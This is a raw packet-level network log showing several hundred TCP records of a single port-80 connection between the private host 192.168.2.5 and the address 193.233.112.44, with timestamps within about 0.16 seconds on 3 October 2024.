Oct 3, 2024 23:17:03.054482937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054510117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054516077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054549932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054558039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054584026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054589987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054624081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054663897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054697990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054703951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054733992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.054737091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.054773092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092087030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092201948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092236042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092269897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092303038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092335939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092319012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092319012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092319012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092369080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092382908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092382908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092382908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092403889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092416048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092438936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092442989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092482090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092570066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092603922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092622995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092638016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092639923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092689991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092698097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092725039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092731953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092760086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.092767000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.092799902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119519949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119580984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119604111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119616032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119647980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119652987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119652987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119683981 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119688034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119719028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119733095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119754076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119759083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119787931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119793892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119828939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119883060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119929075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.119956017 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.119996071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120006084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120031118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120037079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120064974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120073080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120100975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120110035 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120135069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120140076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120172024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120177984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120213032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120510101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120562077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120564938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120594978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120599985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120630026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120635033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120665073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120668888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120703936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120727062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120760918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120773077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120794058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120800018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120827913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120831966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120861053 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120866060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120893955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120901108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120933056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.120934010 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.120970011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121321917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121355057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121371031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121387959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121390104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121422052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121427059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121462107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121582031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121617079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121629000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121650934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121654987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121684074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121694088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121718884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121725082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121751070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121752024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121788025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121790886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121820927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.121826887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.121860027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122221947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122256994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122271061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122292042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122298002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122325897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122334003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122365952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122375965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122410059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122422934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122442961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122448921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122477055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122482061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122509956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122515917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122545004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122548103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122576952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122582912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122617006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122652054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122684956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122699022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122719049 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122725010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122750044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.122759104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.122791052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123231888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123265982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123281956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123298883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123301983 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123333931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123341084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123368025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123373032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123413086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123420954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123456001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123462915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123488903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123492956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123523951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123528957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123558998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123563051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123593092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123596907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123627901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123631001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123661041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.123666048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.123703957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.143800974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.143863916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.143910885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.143945932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.143954039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.143986940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.143990040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144027948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144035101 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144069910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144077063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144110918 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144140959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144174099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144184113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144208908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144212961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144248962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144330978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144365072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144378901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144403934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144414902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144438982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144442081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144479036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144515038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144556999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144599915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144634008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144642115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144669056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144675016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144709110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144769907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144805908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144825935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144860029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144866943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144892931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.144896984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144937992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.144962072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145016909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145086050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145116091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145128012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145149946 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145226002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145257950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145267010 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145292997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145297050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145328045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145333052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145366907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145404100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145437956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.145453930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.145469904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.182737112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.182770967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.182828903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.182833910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.182835102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.182887077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.182898998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.182950020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.182950020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.182984114 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183010101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183018923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183033943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183053970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183068991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183104992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183124065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183156967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183172941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183207035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183207989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183257103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183257103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183294058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183307886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183327913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.183348894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.183376074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.209703922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.209827900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210350990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210407019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210416079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210462093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210532904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210570097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210592985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210603952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210614920 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210640907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210659981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210680962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.210695982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210736036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.210962057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211019039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211066008 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211102962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211127996 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211158991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211491108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211555004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211601973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211641073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211661100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211675882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211688042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211739063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211873055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.211930990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.211981058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212033033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212035894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212088108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212620974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212660074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212678909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212693930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212702036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212735891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212759018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212769985 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212794065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212804079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212816000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212857962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212866068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212917089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212924004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212950945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.212970972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.212985039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213010073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213018894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213031054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213052034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213074923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213093042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213098049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213126898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213146925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:03.213160992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:03.213191986 CEST	49710	80	192.168.2.5	193.233.112.44
